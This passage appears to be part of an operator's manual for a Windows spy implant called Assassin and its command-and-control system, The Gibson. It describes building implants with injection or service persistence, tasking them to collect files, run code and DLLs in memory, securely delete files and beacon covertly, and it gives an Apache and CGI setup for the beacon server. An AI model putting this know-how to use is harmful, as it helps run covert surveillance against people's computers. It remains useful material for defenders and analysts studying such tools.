*Build Types*

The subshell accepts the following build types:

| | |
|---|---|
| `all` | Build all available Implant and Deployment Executables |
| `run-dll` | Build the Implant DLLs, 32- and 64- bit |
| `service-dll` | Build the Implant Service DLLs, 32- and 64- bit |
| `executable` | Build the Implant EXEs, 32- and 64- bit |
| `injection` | Build the Injection Launchers, 32- and 64-bit, and Extractor |
| `service` | Build the Service Installers, 32- and 64- bit, and Extractor |
| `ice_dll` | ICE V3 DLLs, 32- and 64-bit |
| `pernicious_ice_dll` | DLL matching the NSA Pernicious Ice specification |

### 9.4.2 Program List

The Program List subshell is used to generate a list of program image names. These are used to update the whitelist or blacklist in the Implant configuration. The Program List subshell is accessed through the Builder wizard or by not providing parameters to a command to update the whitelist or blacklist in the Builder or Tasker.

*Interface*

The Program List subshell will repeatedly prompt the operator for input until the program list is generated. The subshell accepts two types of input: commands and entries to the program list. After each input, the subshell will update and display the state of the list, including contents and capacity.

For a list of available commands, the operator may enter `‘help’`, `‘h’`, or `‘?’` on the command line.

*Commands*

The following commands are used to modify the current program list:

`f <filename>`

Provide a file of program names to add to the current program list.

| | |
|---|---|
| `filename` | Program list files are whitespace-delimited lists of process image names to include in a program list. |

`d <index>`

Delete a process image name from the program list.

| | |
|---|---|
| `index` | Index of the target program name in the current list |

`g`

Generate the program list and build the patch used in the configuration field for Implant executables or tasks.

`c`

Cancel the list creation process. Any unsaved progress will be lost.

### 9.4.3 Transport List

The Transport List subshell is used to generate or update a transport configuration for an Assassin Implant. The subshell is accessed through the Builder wizard or by not providing parameters to a command to update the transport list in the Builder or Tasker.

*Interface*

The Transport List subshell will repeatedly prompt the operator for input until the transport list is generated. The subshell accepts an array of commands used to view and modify the working current transport list.

*Commands*

The following commands are used to view or modify the current transport list:

```
p
```

Print the current transport list.

```
a
```

Add a transport to the list.

The subshell will prompt the operator for each of the parameters required to create a new transport and add it to the end of the list.

```
i <index>
```

Insert a transport into the list.

The subshell will prompt the operator for each of the parameters required to create a new transport and insert it into the list at the specified index.

| | |
|---|---|
| `index` | Zero-based index into the transport list identifying the location of the new transport |

```
d <index>
```

Delete a transport from the list.

| | |
|---|---|
| `index` | Zero-based index into the transport list identifying the target transport |

```
m <index><new_index>
```

Move a transport from one position within the transport list to another.

| | |
|---|---|
| `index` | Zero-based index into the transport list identifying the target transport |
| `new_index` | Zero-based index into the transport list identifying the new location of the transport within the list |

```
f <filename>
```

Provide a file of containing the xml-based specification of a transport list to add to the transport list.

|  |  |
|---|---|
| `filename` | XML-based transport configuration file, starting with the TransportList tag |

`v`

Validate the configuration of the transport list, printing any generated warnings or errors.

`g`

Generate the transport list and build the patch used in the configuration field for Implant executables or tasks.

`c`

Cancel the transport list creation process. Any unsaved progress will be lost.

## 9.5 Complex Numbers

The Builder implements a system of complex numbers to provide easier reading and writing of integer values. Complex numbers use context-specific notation to modify the magnitude of each integer in the number. The complex numbers adhere to the format `[<integer><modifier_char>]+` and are evaluated as `∑(integer x modifier_value)`.

### 9.5.1 File Size and Offset Modifiers

The following notation is used to modify integers related to file sizes and offsets:

| Notation | Meaning | Value(bytes) |
|---|---|---|
| `b` | byte | 1 |
| `k` | kibibyte (KiB) | $2^{10} = 1.024 \times 10^{3}$ |
| `m` | mebibyte (MiB) | $2^{20} \approx 1.049 \times 10^{6}$ |
| `g` | gibibyte (GiB) | $2^{30} \approx 1.074 \times 10^{9}$ |
| `t` | tebibyte (TiB) | $2^{40} \approx 1.100 \times 10^{12}$ |
| `p` | pebibyte (PiB) | $2^{50} \approx 1.126 \times 10^{15}$ |
| `e` | exbibyte (EiB) | $2^{60} \approx 1.153 \times 10^{18}$ |

### 9.5.2 Time Modifiers

The following notation is used to modify integers related to time:

| Notation | Meaning | Value(seconds) |
|---|---|---|
| `s` | second | 1 |
| `m` | minute | 60 |
| `h` | hour | 3,600 |
| `d` | day | 86,400 |
| `w` | week | 604,800 |

## 9.6 Wizard

The Builder includes a configuration wizard to guide an operator through the process of configuring the Assassin Executables specified as Build Outputs. The wizard can be invoked by running the Builder without a configuration file or by using the `‘w’` command on the Builder command line.

The wizard walks through each configuration field in sequence, prompting the operator for a value. Any default or previously set values are represented on the prompt in square brackets and used when no value is entered. If a value is expected in a particular format, whether from a set of values, smallest unit of measurement, or date-time format, the details are provided parenthetically.

The operator can request help information about a configuration field by entering `‘?’`.

## 9.7 Output Directory Layout

| | |
|---|---|
| `Assassin-<id>` | - Used to group files built for the same target ID <> = ID of target specified in Builder |
|   `injection` | - Contains all executables using the injection persistence method |
|     `Assassin-Extractor.exe` | - Assassin Injection Extractor |
|     `Assassin-Launcher_32.exe` | - Assassin Injection Launcher 32-bit |
|     `Assassin-Launcher_64.exe` | - Assassin Injection Launcher 64-bit |
|   `service` | - Contains all executables using the service persistence method |
|     `AssassinSvcExtractor.exe` | - Assassin Service Extractor |
|     `AssassinSvcInstaller_32.exe` | - Assassin Service Installer 32-bit |
|     `AssassinSvcInstaller_64.exe` | - Assassin Service Installer 64-bit |
|   `non-persistent` | - Contains all executables that do not self-persist |
|     `Assassin-EXE-32.exe` | - Assassin Executable 32-bit |
|     `Assassin-EXE-64.exe` | - Assassin Executable 64-bit |
|     `Assassin-RunDLL-32.dll` | - Assassin DLL 32-bit |
|     `Assassin-RunDLL-64.dll` | - Assassin DLL 64-bit |
|     `Assassin-SvcDLL-32.dll` | - Assassin Service DLL 32-bit |
|     `Assassin-SvcDLL-64.dll` | - Assassin Service DLL 64-bit |
|     `Assassin-ICE-32.dll` | - Assassin ICE DLL 32-bit |
|     `Assassin-ICE-32.dll.META.xml` | - Assassin ICE DLL 32-bit metadata file |
|     `Assassin-ICE-64.dll` | - Assassin ICE DLL 64-bit |
|     `Assassin-ICE-64.dll.META.xml` | - Assassin ICE DLL 64-bit metadata file |
|     `Assassin-Pernicious-ICE-32.dll` | - Assassin Pernicious Ice DLL 32-bit |
|     `Assassin-Pernicious-ICE-64.dll` | - Assassin Pernicious Ice DLL 64-bit |
|   `Assassin-<id>.xml` | - Build receipt for the Assassin executables and build process |

# 10 User Interface

The User Interface is a component of the C2 subsystem the provides the mechanisms for an operator to manage Assassin implants. The User Interface provides a custom shell environment through which an operator can register implants, generate tasks, manage task queues, etc.

The User Interface requires the Assassin Python modules `'assassin'` and `'the_gibson'`. The modules must be located in the Python search path, which includes the directory with the `gibson_ui.py` script.

The User Interface supports complex numbers in many of its integer-based parameters; see section 9.5 on Complex Numbers

## 10.1 Usage

```
gibson_ui.py [-h] [-r PATH] [-w PATH]
```

Provides a user interface to the The Gibson system.

| | |
|---|---|
| `-r PATH, --receipt=PATH` | path to directory containing registered implant receipts<br>Overrides value defined in the The Gibson configuration. |
| `-w PATH, --working=PATH` | path to directory to store working data.<br>Overrides value defined in the The Gibson configuration. |
| `-h, --help` | show the help message and exit |

### 10.2 The Gibson Management

The User Interface provides commands used to manage The Gibson. This includes implant registration and targeting.

### 10.2.1 Registration Commands

Target registration determines the Assassin implants with which The Gibson is permitted to interact. An implant is registered using the receipt file generated by the Builder. When an implant is registered, The Gibson saves a copy of the receipt, generates a task queue on the LP, and sets the safety value to the default beacon interval.

The following commands are provided by the User Interface to manage Assassin target registration.

```
register RECEIPT_PATH
```

Register an Assassin target with The Gibson.

| | |
|---|---|
| `RECEIPT_PATH` | path to an Assassin receipt file |

```
unregister TARGET_ID
```

Unregister an Assassin target from The Gibson.

If a parent ID is provided, the parent and all of its children will be unregistered.

| | |
|---|---|
| `TARGET_ID` | target id of the target or targets to unregister |

```
view_targets
```

List the Assassin targets.

### 10.2.2 Targeting Commands

Implant targeting determines which Assassin implant is currently active. Certain User Interface commands that require an active target include: `task`, `safety`, `list_tasks`, `move_task`, `remove_task`, `refresh`, `view_receipt`, and `view_lastupdate`.

```
target [TARGET_ID]
```

View or set the active Assassin target.

| | |
|---|---|
| `TARGET_ID` | id of the target to activate |

```
untarget
```

Reset the active Assassin target.

### 10.2.3 Information Commands

The User Interface can display information about the The Gibson. The following commands are provided to view this information.

```
view_postproc
```

Display the state of the Post Processor.

## 10.3 Target Management

The User Interface provides commands used to manage an Assassin target. These commands are used to view target information, generate a task, set the safety, and manage the task queue.

### 10.3.1 Task Commands

Commands to operate on a target's task queue are provided by the User Interface. The target's task queue is stored on the LP in the Queue component. The UI interfaces with the Queue via the Queue Proxy component.

The following commands are provided by the User Interface to manage a target's tasks.

```
task [-r] [-s] [-p] [--append] [--prepend] [--insert TO] [-d DESC]
```

Add a task to the active target's task queue.

This command will enter a sub-shell to create the task; see section 10.4 on the Task Sub-Shell.

| | |
|---|---|
| `-r, --receipt` | run the task on receipt (default) |
| `-s, --startup` | run the task on each target startup |
| `-p, --push` | push the results of the task immediately |
| `--append` | add the task to the end of the target queue (default) |
| `--prepend` | add the task to the beginning of the target queue |
| `--insert TO` | add the task at a given index or before a task |
| `--d DESC, --desc DESC` | provide a description for the task |

```
list_tasks [-v]
```

List the tasks for the active target.

| | |
|---|---|
| `-v, --verbose` | provide detailed information about each task |

```
move_task SRC DST
```

Move a task from one location to another in the active target's task queue.

Warning: The source and destination are evaluated when executed on the LP after some delay.

| | |
|---|---|
| `SRC` | index or id of the task to move |
| `DST` | location to move task, specified by index or task id |

```
remove_task SRC
```

Remove a task from the active target's task queue.

Warning: The source is evaluated when executed on the LP after some delay.

| | |
|---|---|
| `SRC` | index or id of the task to remove |

### 10.3.2 Safety Commands

Commands to operate on a target's safety are provided by the User Interface. The safety is the beacon interval that should be set once the task queue has been depleted. The target's safety is stored on the LP in the Queue component. The UI interfaces with the Queue via the Queue Proxy component.

```
safety [SECONDS]
```

View or set the active target's safety interval.

| | |
|---|---|
| `SECONDS` | time after last task before next beacon |

### 10.3.3 Information Commands

The User Interface can access and display information about Assassin targets. The following commands are provided to view this information.

```
view_receipt
```

Display the receipt registered for an active target.

```
view_lastupdate [-t] [-s]
```

Display the time since target information has been updated.

| | |
|---|---|
| `-t, --task` | view the last update time of the task queue (default) |
| `-s, --safety` | view the last update time of the safety |

```
refresh
```

Prompt the LP to refresh data about the active target.

### 10.4 Task Sub-Shell

The User Interface provides a sub-shell used to create an Assassin task. When the `task` command is invoked, the task sub-shell is started.

Assassin provides task commands to operate on the filesystem, to execute code, and to configure and maintain the Implant.

### 10.4.1 Task Management Commands

Commands used to manage the task being created are provided by the task sub-shell. The commands are used to manipulate the list of commands that comprise the task, set the task's run mode, and export/import tasks to/from xml.

The following commands are provided to manage the task.

```
list_commands
```

List the commands in the task.

```
move_command SRC DST
```

Move a command from one index to another in the task.

| | |
|---|---|
| `SRC` | index of the command to move |
| `DST` | desired index of the command |

```
remove_command INDEX
```

Remove a command from the task by index.

| | |
|---|---|
| `INDEX` | index of the command to remove |

```
run_mode [-r] [-s] [-p]
```

View or modify the run mode of the task.

| | |
|---|---|
| `-r, --receipt` | run the task on receipt |
| `-s, --startup` | run the task on each target startup |
| `-p, --push` | push the results of the task immediately |

```
export_xml PATH
```

Export task xml to a file specified by path.

| | |
|---|---|
| `PATH` | path to output the task xml file |

```
import_xml PATH
```

Import task commands from an xml file specified by path.

| | |
|---|---|
| `PATH` | path to a task xml file |

### 10.4.2 File System Commands

The task sub-shell provides the following commands that will add Assassin file system commands to the task being created.

```
get [--offset OFFSET] [--bytes BYTES] PATH
```

Get a file from the target.

| | |
|---|---|
| `PATH` | path of file to get from the target |
| `--offset OFFSET` | start reading <x> bytes into target file (default = 0) |
| `--bytes BYTES` | get <x> bytes from file; 0 == entire file (default = 0) |

```
put [-m MODE] LOCAL_PATH REMOTE_PATH
```

Put a file on the target.

| | |
|---|---|
| `LOCAL_PATH` | path of file to put on the target |
| `REMOTE_PATH` | path of location to put the file |
| `-m MODE,` `--mode MODE` | behavior of put command (default = `only_new`)<br>`always` always put the file on the target, overwrite<br>`only_new` only put the file on the target if it does not yet exist<br>`append` append to the end of the file if it exists, otherwise create |

```
file_walk  [--depth DEPTH] [--check-date DATE] [--check-mode MODE]
           [-c] [--offset OFFSET] [--bytes BYTES]
           DIR_PATH [PATTERN]
```

Walk a target file system, optionally getting selected files.

| | |
|---|---|
| `DIR_PATH` | path of file system location to walk |
| `PATTERN` | filename pattern to match (default = `*`) |
| `--depth DEPTH` | number of directory levels to travers (default = 3)<br>Note: A depth of 0 will only collect on the root level. |
| `--check-date DATE` | check the modify timestamp against a date before collecting; date format specified in ISO 8601 format (`yyyy-mm-ddThh:mm:ss`) |
| `--check-mode MODE` | mode of checking the modify timestamp (default = `greater`)<br>`greater` match timestamps greater (later) than the check date<br>`less` match timestamps less (earlier) than the check date |
| `-c, --collect` | collect the contents of files that are traversed |
| `--offset OFFSET` | start reading <x> bytes into target file (default = 0) |
| `--bytes BYTES` | get <x> bytes from file; 0 == entire file (default = 0) |

```
delete_file [-s] FILE_PATH
```

Delete a file on the target file system; optionally overwrite the file contents before deleting.

| | |
|---|---|
| `FILE_PATH` | path of file to delete |
| `-s, --secure` | securely delete file by overwriting contents |

### 10.4.3 Execution Commands

The task sub-shell provides the following commands that will add Assassin code execution commands to the task being created.

Code is executed directly from Assassin and will have the same permissions as the Implant on the target.

`execute_bg EXE_PATH [ARGS]`

Execute an EXE file on the target in the background.

By running in the background, the Implant will continue operation immediately. The standard output and return code of the program are ignored.

| | |
|---|---|
| `EXE_PATH` | path of EXE file to execute |
| `ARGS` | command line arguments to the executable (default = `*`) |

`execute_fg EXE_PATH [ARGS]`

Execute an EXE file on the target in the foreground.

By running in the foreground, the Implant will wait for the program to exit.  The standard output and return code of the program are collected and returned.

| | |
|---|---|
| `EXE_PATH` | path of EXE file to execute |
| `ARGS` | command line arguments to the executable (default = `*`) |

`load_faf MODULE_PATH [ARGS]`

Load and execute a Fire-And-Forget v2 (FAF) DLL in memory.

The DLL is loaded and executed in a separate thread and, based on the ordinal return value, it will be unloaded or it will be "forgotten" and remain running.

The Implant will continue to operate while the DLL executes.

| | |
|---|---|
| `MODULE_PATH` | local path of the FAF module to load and execute |
| `ARGS` | command line arguments to the FAF module (default = `""`) |

`load_ice MODULE_PATH [ARGS]`

Load and execute an ICE v3 (ICE) DLL in memory.

The DLL is loaded and executed in a separate thread based on the feature set selected. Assassin currently supports the `Fire` and the `Forget` feature sets.

The Implant will continue to operate while the DLL executes.

Note: The ICE META.xml file must be provided with module, as required by the ICE specification.

| | |
|---|---|
| `MODULE_PATH` | local path of the FAF module to load and execute |

| | |
|---|---|
| `ARGS` | command line arguments to the FAF module (default = `""`) |
| `-f FEATURE, --feature-set FEATURE` | feature set of the ICE loader to use {`fire`, `forget`} (required when multiple features supported by the module) |

### 10.4.4 Configuration Commands

The task sub-shell provides the following commands that will add Assassin configuration commands to the task being created. The configuration determines when and how the Implant communicates and the duration of the operation. Any changes to the running configuration must be persisted explicitly if they are to be retained on implant restart.

*Configuration Set Commands*

The configuration set commands are used to manipulate the configuration sets. See section 7.7.1 on Configuration Sets.

```
persist_settings
```

Persist the running target configuration. The running configuration set is copied to the persistent configuration set.

All configuration changes must be explicitly persisted, or they will revert on next startup.

```
restore_defaults [--basic] [--beacon] [--comms] [--list] [--all]
```

Restore the Implant configuration to factory settings.

Any changes made by restore must be persisted explicitly.

| | |
|---|---|
| `--basic` | restore settings for when implant runs (hibernate, uninstall date) |
| `--beacon` | restore settings for when target beacons<br>(initial wait, interval, maximum, jitter, backoff, max failures) |
| `--comms` | restore settings for target communications |
| `--list` | restore settings for white and black lists |
| `--all` | restore all of the settings (default) |

*Beacon Configuration*

The beacon configuration commands are used to modify the settings related to when Assassin beacons. This includes beacon timing and blacklist/whitelist checks against the process list.

```
set_beacon [--interval SECONDS] [--jitter SECONDS] [--initial-wait SECONDS]
           [--backoff FACTOR] [--max-interval SECONDS]
```

Set the running beacon timing configuration.

| | |
|---|---|
| `--interval SECONDS` | default time interval between beacons |
| `--jitter SECONDS` | maximum time to vary beacon intervals |

| | |
|---|---|
| `--initial-wait SECONDS` | period to wait after startup before beaconing |
| `--backoff FACTOR` | backoff factor to modify beacon interval<br>If beacon fails, multiply beacon interval by factor.<br>If beacon succeeds, restore beacon interval to default. |
| `--max-interval SECONDS` | maximum time interval between beacons |

```
set_blacklist [PROG [PROG ...]]
```

Set the running blacklist configuration.

| | |
|---|---|
| `PROG` | image name of program to include in the blacklist |

```
set_whitelist [PROG [PROG ...]]
```

Set the running whitelist configuration.

| | |
|---|---|
| `PROG` | image name of program to include in the whitelist |

*Communication Configuration*

The communication configuration commands are used to modify the settings related to how Assassin communicates. This includes both the transports used for communication and the size of upload chunks.

```
set_transports
```

Set the running transport configuration.

This command will enter a sub-shell to create the transport configuration; see section 10.4.6 on the Transport Sub-Shell.

```
set_chunksize BYTES
```

Set the running chunk size configuration.

| | |
|---|---|
| `BYTES` | maximum number of bytes to upload each beacon; 0 == no maximum |

*Operation Window Configuration*

The operation window configuration commands are used to modify the settings related to the time window during which the Implant will operate. This includes hibernate, scheduled uninstall, and failure threshold settings. Note that once an uninstall has been scheduled by date or timer, it cannot be removed.

```
set_hibernate SECONDS
```

Set the running hibernate configuration.

The Implant will lie dormant until the hibernate period has elapsed.

| | |
|---|---|
| `SECONDS` | time after first execution before implant becomes active |

`set_uninstall_date DATE`

Set the running uninstall time by date.

| | |
|---|---|
| `DATE` | date to uninstall implant from target;<br>date format specified in ISO 8601 format (`yyyy-mm-ddThh:mm:ss`) |

`set_uninstall_timer SECONDS`

Set the running uninstall time by timer.

| | |
|---|---|
| `SECONDS` | time after task execution to uninstall implant from target |

`set_uninstall_beaconfail COUNT`

Set the number of consecutive failed beacons before uninstalling target.

| | |
|---|---|
| `COUNT` | number of beacon failures; 0 == no count |

### 10.4.5 Maintenance Commands

The task sub-shell provides the following commands that will add Assassin maintenance commands to the task being created. Maintenance commands are used to check the Implant's status, manage the upload queue, modify persistence, or uninstall completely.

```
get_status [--basic] [--beacon] [--comms] [--list] [--dirs] [--dir-files] [--all]
           MODE
```

Retrieve the current target configuration and status information.

| | |
|---|---|
| `--basic` | retrieve settings for when implant runs (hibernate, uninstall date) |
| `--beacon` | retrieve settings for when target beacons (initial wait, interval, maximum, jitter, backoff, max failures) |
| `--comms` | retrieve settings for target communications |
| `--list` | retrieve settings for white and black lists |
| `--dirs` | retrieve settings for target directories (in, out, push, start, stage) |
| `--dir-files` | retrieve list of files in the target directories |
| `--all` | restore all of the settings (default) |
| `MODE` | configuration set from which to retrieve status information<br>`running` collect information from running configuration set<br>`persistent`collect information from persistent configuration set<br>`factory` collect information from factory configuration set |

```
clear_queue
```

Remove all files from the implant's upload queue.

The command will delete all files from the `output`, `push`, and `staging` directories. This may include chunks of files that have been partially uploaded.

```
upload_all
```

Upload all files currently in the upload queue.

Warning: This is a dangerous command and may have adverse effects if the upload queue has a significant backlog. Please use the `get_status` command with the `--dir-files` option to decide if the risk is acceptable.

```
unpersist
```

Disable the implant's persistence mechanism. The side effects of the command will depend on the deployment mechanism.

`uninstall`

Uninstall the implant from the target.

Uninstall will remove the directories used by the implant, remove the persistence mechanism, and self delete.

### 10.4.6 Transport Sub-Shell

The task sub-shell provides a sub-shell used to create a transport configuration. When the `set_transports` command is invoked, the transport sub-shell is started.

*Transport Management Commands*

Commands used to manage the transport list being created are provided by the transport sub-shell. The commands are used to manipulate the list of transports that comprise the transport list.

The following commands are provided to manage the transport list.

```
list_transports
```

List the transports in the transport list.

```
move_transport SRC DST
```

Move a transport from one index to another in the list.

| | |
|---|---|
| `SRC` | index of the transport to move |
| `DST` | desired index of the transport |

```
remove_transport INDEX
```

Remove a transport from the list by index.

| | |
|---|---|
| `INDEX` | index of the transport to remove |

*Transport Commands*

The commands used to create a transport and add it to the transport list are as follows.

```
https [--port PORT] [--tries TRIES] [--proxycreds USERNAME PASSWORD]
      DOMAIN
```

Add an HTTPS transport to the transport list

| | |
|---|---|
| `DOMAIN` | domain name or ip address for beacon |
| `--port PORT` | port number for beacon (default = `443`) |
| `--tries TRIES` | number of attempts before transport switch (default = `1`) |
| `--proxycreds USERNAME PASSWORD` | username and password to use for HTTPS proxy |

# 11 Task Generator

The Task Generator is a component of the C2 subsystem that is used to generate the binary task files that are input to an Assassin implant. The Task Generator accepts an xml-based task specification and implant receipt and outputs an encrypted binary task file.

Tasks are typically sent to Assassin via the User Interface. Operators will rarely access the Task Generator directly.

The Task Generator requires the Assassin Python modules `'assassin'` and `'the_gibson'`. The modules must be located in the Python search path, which includes the directory with the `task_generator.py` script.

## 11.1 Usage

**Command Line**

```
task_generator.py [-h] TASK_XML IMPLANT_XML TASK_BIN
```

Generates an Assassin task file specified using an xml descriptor.

| | |
|---|---|
| `TASK_XML` | path to the xml task descriptor |
| `IMPLANT_XML` | path to the xml implant receipt |
| `TASK_BIN` | path to output the generated task file |
| `-h, --help` | show the help message and exit |

**Return Codes**

The Task Generator script returns the following exit codes:

| | |
|---|---|
| `0` | Success |
| `1` | Unspecified Error |
| `2` | Invalid Arguments |

## 11.2 Inputs

The Task Generator requires two input files. The first input is an XML description of the task to be generated. The second input is the XML receipt describing the implant for which the task is destined. The expected format for both of these files is described in 18 XML Formats.

The paths to these files are provided to the Task Generator script as command-line arguments.

## 11.3 Outputs

The Task Generator outputs the generated task to a file. The task is serialized into an encrypted binary of proprietary format.

The path to the output file is provided to the Task Generator script as a command-line argument.

# 12 Queue and Queue Proxy

The Queue and Queue Proxy components are used to manage queues that span the C2 and LP subsystems. The Gibson stores and synchronizes task queues and safety values for each implant through the Queue/Queue Proxy. Operators will typically only use the Queue or Queue Proxy for debugging.

The Queue requires the Assassin Python module '`the_gibson`' and the Queue Proxy requires the modules '`assassin`' and '`the_gibson`'. The modules must be located in the Python search path, which includes the directory with the `queues.py` and `queues_proxy.py` scripts.

## 12.1 Queue Usage

### Command Line

```
queues.py [-h] [-q QUEUE] [-f PATH] [--to TO] [--from FROM] COMMAND
```

Allows user to modify the queues.

|  |  |
|---|---|
| `COMMAND` | operation to perform on the queue<br>`create` create new empty queue<br>queue ID specified by `--queue` parameter<br>`remove` remove a queue<br>queue ID specified by `--queue` parameter<br>`clone` copy queue to new queue<br>source queue ID specified by `--queue` parameter<br>destination queue ID specified by `--to` parameter<br>`next`copy data from next entry in queue to path<br>source queue ID specified by `--queue` parameter<br>destination path specified by `--file` parameter<br>`delete` delete specified entry from the queue<br>source queue ID specified by `--queue` parameter<br>target entry specified by `--from` parameter<br>`queues` list queue names to stdout<br>`list`list entries in queue to stdout<br>source queue ID specified by `--queue` parameter<br>`exist` check if queue exists<br>queue ID specified by `--queue` parameter<br>`ingest` ingest queue updates from file<br>destination queue ID specified by `--queue` parameter<br>source file path specified by `--file` parameter |
| `-q QUEUE,`<br>`--queue QUEUE` | id of queue to operate on |
| `-f PATH,`<br>`--file PATH` | path to a file needed by an operation<br>Required for: `next`, `ingest` |
| `--to TO` | destination of an operation<br>Required for: `clone` |
| `--from FROM` | source of an operation<br>Required for: `delete` |
| `-h, --help` | show the help message and exit |

### Return Codes

The Queue script returns the following exit codes:

|  |  |
|---|---|
| `0` | Success |
| `1` | Unspecified Error |
| `2` | Invalid Arguments |
| `3` | Invalid Queue ID |
| `4` | No Data |
| `5` | Invalid File Path |
| `6` | Queue Already Exists |

## 12.2 Queue Proxy Usage

### Command Line

```
queues_proxy.py  [-h] [-q QUEUE] [--force] [--clear] [--immediate]
                 [-f PATH] [--to TO] [--from FROM]
                 [--desc DESC] [--shortdesc SHORTDESC]
                 [-v VIEW] [--header] [--json]
                 COMMAND
```

Allows user to modify the queues.

`COMMAND` operation to perform on the queue

- `create` create new empty queue
  queue ID specified by `--queue` parameter
- `remove` remove a queue
  queue ID specified by `--queue` parameter
- `lock` acquire user lock for a queue
  queue ID specified by `--queue` parameter
- `unlock` release user lock for a queue
  queue ID specified by `--queue` parameter
- `append` append entry to queue end of queue
  destination queue ID specified by `--queue` parameter
  source file specified by `--file` parameter
- `prepend` prepend entry to beginning of queue
  destination queue ID specified by `--queue` parameter
  source path specified by `--file` parameter
- `insert` insert entry into queue
  destination queue ID specified by `--queue` parameter
  destination index or ID specified by `--to` parameter
  source path specified by `--file` parameter
- `move` move entry from one position to another within queue
  queue ID specified by `--queue` parameter
  destination index or ID specified by `--to` parameter
  source index or ID specified by `--from` parameter
- `delete` delete specified entry from the queue
  source queue ID specified by `--queue` parameter
  target entry specified by `--from` parameter
- `queues` list queue names to stdout
- `list` list information about queue to stdout
  source queue ID specified by `--queue` parameter
  displayed information specified by `--view` parameter
- `exist` check if queue exists
  queue ID specified by `--queue` parameter
- `commit` bundle queue changes to file and send to Queue via Galleon
  queue ID specified by `--queue` parameter
- `pop` undo pending queue change
  queue ID specified by `--queue` parameter
- `ingest` ingest queue updates from a file
  destination queue ID specified by `--queue` parameter
  source file specified by `--file` parameter

| | |
|---|---|
| `-q QUEUE,` `--queue QUEUE` | id of queue to operate on |
| `--force` | forcefully acquire user lock |
| `--clear` | clear pending (non-committed) changes |
| `--immediate` | acquire lock, commit changes, and release lock automatically |
| `-f PATH,` `--file PATH` | path to a file needed by an operation<br>Required for: `append`, `prepend`, `insert`, `next`, `ingest` |
| `--to TO` | destination of an operation<br>Required for: `insert`, `move` |
| `--from FROM` | source of an operation<br>Required for: `move`, `delete` |
| `--desc DESC` | description of the queue entry<br>Required for: `append`, `prepend`, `insert` |
| `--shortdesc SHORTDESC` | short description of the queue entry |
| `-v VIEW,` `--view VIEW` | view to display in for list command (default = working)<br>`low` last known state of the Queue<br>`working` low view with pending changes applied<br>`changes` list of pending changes<br>`high` low view with working and committed changes applied<br>`user` username of lock owner<br>`elapsed` number of seconds before last Queue update<br>`lasttime` time of last Queue update |
| `-h, --help` | show the help message and exit |

**Return Codes**

The Queue Proxy script returns the following exit codes:

| | |
|---|---|
| `0` | Success |
| `1` | Unspecified Error |
| `2` | Invalid Arguments |
| `3` | Invalid Queue ID |
| `4` | Queue Not Locked |
| `5` | Invalid File Path |
| `6` | Invalid Entry ID, Queue Name, etc. |

## 12.3 Queue Communication

The Queue and Queue Proxy use the Galleon Transport interface (version 1) to exchange information.

The Gibson uses two scripts, `queues_receiver.py` and `queues_proxy_receiver.py`, to act as Galleon Transport receivers. The scripts will receive data over the Transport interface and apply that data to the Queue or Queue Proxy.

**Usage**

```
queues_receiver.py [-h] [-w PATH] SRC_LABEL DST_LABEL DATA_PATH
```

Receive and apply data for the Queue.

| | |
|---|---|
| `SRC_LABEL` | transport label of the source component |
| `DST_LABEL` | transport label of the destination component |
| `DATA_PATH` | path to the data file to receive |
| `-w PATH, --working PATH` | path to the script's working directory |
| `-h, --help` | show the help message and exit |

```
queues_proxy_receiver.py [-h] [-w PATH] SRC_LABEL DST_LABEL DATA_PATH
```

Receive and apply data for the Queue Proxy.

| | |
|---|---|
| `SRC_LABEL` | transport label of the source component |
| `DST_LABEL` | transport label of the destination component |
| `DATA_PATH` | path to the data file to receive |
| `-w PATH, --working PATH` | path to the script's working directory |
| `-h, --help` | show the help message and exit |

# 13 Beacon Server

The Beacon Server is a component of the LP subsystem that provides the means for an Implant to communicate with the LP via a web server. The Beacon Server is a Common Gateway Interface (CGI) script that can be installed into a web server's configuration.

The Beacon Server requires the Assassin Python module `'the_gibson'`. The module must be located in the Python search path, which includes the directory with the `beacon_server.py` script.

## 13.1 Usage

The Beacon Server is a standard CGI script. It accepts HTTP metadata from environment variables and data content from the standard input stream and returns its response to the standard output stream.

The Beacon Server accesses HTTP metadata through the following environment variables:

| | |
|---|---|
| `REQUEST_METHOD` | http method of the request |
| `REQUEST_URI` | uniform resource identifier used to access the web server |
| `REMOTE_ADDR` | IP address of the remote host that sent the request |
| `X_FORWARDED_FOR` | sequence of hosts through which request was forwarded<br>Note: This header is not set during CGI calls by default. |

## 13.2 Servicing Beacons

The Beacon Server services HTTPS requests from Assassin implants. GET requests are fulfilled by querying the Queue component for data. Task data is stored in a queue named with the same ID as the implant. Safety data is stored in a queue named with the implant ID followed by '`.safety`'. Post requests are serviced by reading in posted data and sending it to the Post Processor via a Galleon Transport interface.

The Beacon Server services HTTPS requests from Assassin implants using the following algorithm.

```
if ( URI does not contain implant ID )
   return ERROR

if ( implant ID is not registered with LP )
   return ERROR

if ( GET request )
   if ( task queue is empty )
      Send Safety
   else
      Send Next Task

if ( POST request )
   Send Data to Post Processor
```

## 13.3 Installation on Apache

The Beacon Server component must be installed into a web server on the LP machine. This section will describe the process for installing the Beacon Server on a machine that uses the Apache v2.2 web server.

### The Gibson .Conf File

First, create a `.conf` file that defines the basic settings required to operate the Beacon Server using Apache. This file will be referenced by each virtual host added to the web server.

***/etc/apache2/the-gibson.conf***

```
DocumentRoot /var/www/beacon
<Directory /var/www/beacon>
   Options Indexes FollowSymLinks MultiViews +ExecCGI
   AddHandler cgi-script .cgi
   AllowOverride None
   Order allow,deny
   allow from all
</Directory>

<IfModule rewrite_module>
   RewriteEngine on
   RewriteRule .* /beacon_server_redirect.cgi
</IfModule>

SetEnvIf X-Forwarded-For "^(.*)" X_FORWARDED_FOR=$1

ErrorLog ${APACHE_LOG_DIR}/beacon-error.log
```

### Target Virtual Host

Second, create an Apache virtual host for one or more Assassin LP identities. The Apache virtual host specifies the name of the server and the site's SSL certificate.

***/etc/apache2/sites-available/beacon***

```
<VirtualHost *:443>
   ServerAdmin webmaster@beacon.net
   ServerName beacon.net

   Include /etc/apache2/the-gibson.conf

   SSLEngine on
   SSLCertificateFile    /etc/ssl/certs/ssl-cert-snakeoil.pem
   SSLCertificateKeyFile /etc/ssl/private/ssl-cert-snakeoil.key
```

```
</VirtualHost>
```

### Redirect Script

Third, install a CGI script that redirects calls to the Apache web server to the Beacon Server CGI script. The Beacon Server is installed alongside the other The Gibson LP components.

***/var/www/beacon/beacon_server_redirect.cgi***

```
#!/bin/sh

/work/gibson/beacon_server.py
```

# 14 Post Processor and Ingester

